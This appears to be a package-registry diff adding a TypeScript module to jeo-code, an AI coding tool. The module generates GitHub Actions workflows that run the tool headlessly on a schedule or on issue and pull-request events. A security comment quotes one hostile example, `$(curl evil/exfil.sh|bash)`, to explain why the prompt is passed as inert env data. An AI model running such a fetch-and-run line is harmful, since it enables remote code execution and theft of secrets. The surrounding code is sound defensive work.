jeo-code 0.8.22 → 0.8.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,206 @@
1
+ /**
2
+ * Pure GitHub Actions workflow YAML builder for `jeo routine init` (see
3
+ * ../commands/routine.ts). No I/O here — the command layer owns reading
4
+ * flags, resolving --out, and writing to disk; this module only turns a
5
+ * {@link RoutineConfig} into a workflow document string, which keeps it
6
+ * trivially unit-testable without touching the filesystem.
7
+ *
8
+ * Routines are the "scoped-safe" version of scheduled/triggered automation:
9
+ * jeo-code itself never runs a scheduler, listens on a port, or accepts a
10
+ * webhook — GitHub's own hosted runners do the triggering, and the generated
11
+ * workflow just installs jeo-code and runs `jeo "<prompt>" -p` (the existing
12
+ * headless one-shot mode, see launch/flags.ts) on their infrastructure. This
13
+ * is how the workflow "runs without your laptop" with zero new attack
14
+ * surface inside jeo-code's own process.
15
+ */
16
+
17
+ export type RoutineTrigger = "schedule" | "issues" | "pull_request";
18
+
19
+ export interface RoutineConfig {
20
+ /** Workflow display name, e.g. "jeo nightly triage". */
21
+ name: string;
22
+ /** Which GitHub event fires the routine. */
23
+ trigger: RoutineTrigger;
24
+ /** Cron expression, REQUIRED when trigger === "schedule" (e.g. "0 7 * * *"). Ignored otherwise. */
25
+ cron?: string;
26
+ /** The natural-language task/goal text passed to `jeo "<prompt>" -p`. */
27
+ prompt: string;
28
+ /** Anthropic/OpenAI/etc — which env var the workflow expects as a repo secret. Default "ANTHROPIC_API_KEY". */
29
+ apiKeyEnvVar?: string;
30
+ /** true = the workflow opens a PR with any changes (safe default); false = commits directly to the CURRENT branch. Default true. */
31
+ openPr?: boolean;
32
+ }
33
+
34
+ /** Build the `on:` block for `config.trigger`. `workflow_dispatch` is always
35
+ * included alongside the primary trigger so a human can manually run the
36
+ * routine on demand (e.g. to test it) regardless of what fires it
37
+ * automatically. Throws when `trigger === "schedule"` and no cron was given
38
+ * — a missing cron on a schedule trigger is a caller contract violation, so
39
+ * this fails loud instead of emitting a broken/empty schedule block. */
40
+ function renderTriggerBlock(config: RoutineConfig): string {
41
+ switch (config.trigger) {
42
+ case "schedule": {
43
+ if (!config.cron) {
44
+ throw new Error("renderRoutineWorkflow: config.cron is required when trigger is 'schedule'.");
45
+ }
46
+ const cron = config.cron.replace(/'/g, "''");
47
+ return [
48
+ "on:",
49
+ " schedule:",
50
+ ` - cron: '${cron}'`,
51
+ " workflow_dispatch: {}",
52
+ ].join("\n");
53
+ }
54
+ case "issues":
55
+ return [
56
+ "on:",
57
+ " issues:",
58
+ " types: [opened, labeled]",
59
+ " workflow_dispatch: {}",
60
+ ].join("\n");
61
+ case "pull_request":
62
+ return [
63
+ "on:",
64
+ " pull_request:",
65
+ " types: [opened, synchronize]",
66
+ " workflow_dispatch: {}",
67
+ ].join("\n");
68
+ default: {
69
+ // Exhaustiveness guard: a new RoutineTrigger member without a case
70
+ // above fails typecheck here rather than silently falling through.
71
+ const exhaustive: never = config.trigger;
72
+ throw new Error(`renderRoutineWorkflow: unknown trigger '${String(exhaustive)}'.`);
73
+ }
74
+ }
75
+ }
76
+
77
+ /** Build the step that runs `jeo "$JEO_ROUTINE_PROMPT" -p` headlessly. The
78
+ * prompt is passed through an `env:` var and referenced (never inlined
79
+ * directly into the shell script text) — GitHub's own Actions-hardening
80
+ * guidance: a `run:` script is executed by bash, and bash performs
81
+ * `$(...)`/backtick command substitution on ANY text inside a double-quoted
82
+ * string, INCLUDING one built via naive string interpolation of a value the
83
+ * workflow author doesn't fully control (a copy-pasted prompt, or one later
84
+ * templated from untrusted input like an issue body). Routing the value
85
+ * through `env:` means bash expands `$JEO_ROUTINE_PROMPT` as inert DATA —
86
+ * its contents are never re-parsed as shell syntax, so an embedded
87
+ * `$(curl evil/exfil.sh|bash)` cannot execute even though this step's
88
+ * `env:` block also carries the API-key secret. */
89
+ function renderJeoRunStep(config: RoutineConfig, apiKeyVar: string): string {
90
+ return [
91
+ " - name: Run jeo (headless)",
92
+ ' run: jeo "$JEO_ROUTINE_PROMPT" -p',
93
+ " env:",
94
+ ` ${apiKeyVar}: \${{ secrets.${apiKeyVar} }}`,
95
+ " JEO_ROUTINE_PROMPT: " + JSON.stringify(config.prompt),
96
+ ].join("\n");
97
+ }
98
+
99
+ /** `openPr !== false` path: open (or update) a PR with whatever changes the
100
+ * jeo step made, instead of committing straight to the triggering branch.
101
+ * create-pull-request is a documented no-op when the working tree is clean
102
+ * after the previous step, so this is safe to run unconditionally — no
103
+ * diff-check step needed before it. */
104
+ function renderOpenPrStep(config: RoutineConfig): string {
105
+ const commitMessage = `jeo routine: ${config.name}`;
106
+ return [
107
+ " # peter-evans/create-pull-request no-ops when there's nothing to commit",
108
+ " # (clean working tree after the jeo step above) — safe to run every time.",
109
+ " - name: Open PR with any changes",
110
+ " uses: peter-evans/create-pull-request@v6",
111
+ " with:",
112
+ " branch: jeo-routine/${{ github.run_id }}",
113
+ ` commit-message: ${JSON.stringify(commitMessage)}`,
114
+ ` title: ${JSON.stringify(commitMessage)}`,
115
+ ` body: ${JSON.stringify(`Automated changes from the "${config.name}" jeo routine.`)}`,
116
+ ].join("\n");
117
+ }
118
+
119
+ /** `openPr === false` path: commit any changes straight to the branch the
120
+ * workflow ran on. The `git diff --staged --quiet ||` short-circuit makes
121
+ * an empty diff a silent no-op instead of a failing `git commit` (nothing
122
+ * to commit exits non-zero on a clean tree). */
123
+ function renderDirectCommitSteps(config: RoutineConfig): string {
124
+ const commitMessage = `jeo routine: ${config.name}`;
125
+ return [
126
+ " - name: Configure git identity",
127
+ " run: |",
128
+ ' git config user.name "github-actions[bot]"',
129
+ ' git config user.email "github-actions[bot]@users.noreply.github.com"',
130
+ "",
131
+ " - name: Commit any changes directly to this branch",
132
+ " run: |",
133
+ " git add -A",
134
+ ` git diff --staged --quiet || (git commit -m ${JSON.stringify(commitMessage)} && git push)`,
135
+ ].join("\n");
136
+ }
137
+
138
+ /**
139
+ * Render a complete GitHub Actions workflow YAML document that runs
140
+ * `jeo "<prompt>" -p` headlessly on GitHub's hosted runners, triggered by
141
+ * `config.trigger` (plus an always-present `workflow_dispatch` for manual
142
+ * runs). No YAML library is used — the shape is fixed and simple enough to
143
+ * hand-build as a string, matching this repo's zero-dependency policy.
144
+ *
145
+ * Throws if `config.trigger === "schedule"` and `config.cron` is missing
146
+ * (see {@link renderTriggerBlock}); does not otherwise validate cron syntax
147
+ * — that is {@link validateCron}'s job, run by the command layer before this
148
+ * is ever called.
149
+ */
150
+ export function renderRoutineWorkflow(config: RoutineConfig): string {
151
+ const triggerBlock = renderTriggerBlock(config); // throws first on schedule+no cron
152
+ const apiKeyVar = config.apiKeyEnvVar ?? "ANTHROPIC_API_KEY";
153
+ const openPr = config.openPr !== false;
154
+ const quotedName = `'${config.name.replace(/'/g, "''")}'`;
155
+
156
+ const lines: string[] = [
157
+ "# Generated by `jeo routine init` (see `jeo routine init --help`).",
158
+ "# Safe to hand-edit afterward — `jeo routine init` will refuse to",
159
+ "# overwrite this file again without --force.",
160
+ `name: ${quotedName}`,
161
+ "",
162
+ triggerBlock,
163
+ "",
164
+ "permissions:",
165
+ " contents: write",
166
+ " pull-requests: write",
167
+ "",
168
+ "jobs:",
169
+ " jeo-routine:",
170
+ " runs-on: ubuntu-latest",
171
+ " steps:",
172
+ " - name: Checkout",
173
+ " uses: actions/checkout@v4",
174
+ " with:",
175
+ " fetch-depth: 0",
176
+ "",
177
+ " - name: Setup Bun",
178
+ " uses: oven-sh/setup-bun@v2",
179
+ " with:",
180
+ ' bun-version: "1.3.14"',
181
+ "",
182
+ " - name: Install jeo-code",
183
+ " run: bun install -g jeo-code",
184
+ "",
185
+ renderJeoRunStep(config, apiKeyVar),
186
+ "",
187
+ openPr ? renderOpenPrStep(config) : renderDirectCommitSteps(config),
188
+ "",
189
+ ];
190
+ return lines.join("\n");
191
+ }
192
+
193
+ /**
194
+ * Lightweight cron sanity check: exactly 5 whitespace-separated fields, each
195
+ * matching a permissive `*` or `[0-9,-/]+` shape. NOT a full cron-grammar
196
+ * validator (it doesn't understand step-value combos like "star-slash-15",
197
+ * months/weekdays, or range bounds) — just enough to catch an obviously
198
+ * malformed string (wrong field count, stray letters/words) before it
199
+ * reaches GitHub's own (stricter) parser at workflow-run time. Used by the
200
+ * command layer; {@link renderRoutineWorkflow} does not re-validate syntax.
201
+ */
202
+ export function validateCron(cron: string): boolean {
203
+ const fields = cron.trim().split(/\s+/);
204
+ if (fields.length !== 5) return false;
205
+ return fields.every(f => /^([*]|[0-9,\-\/]+)$/.test(f));
206
+ }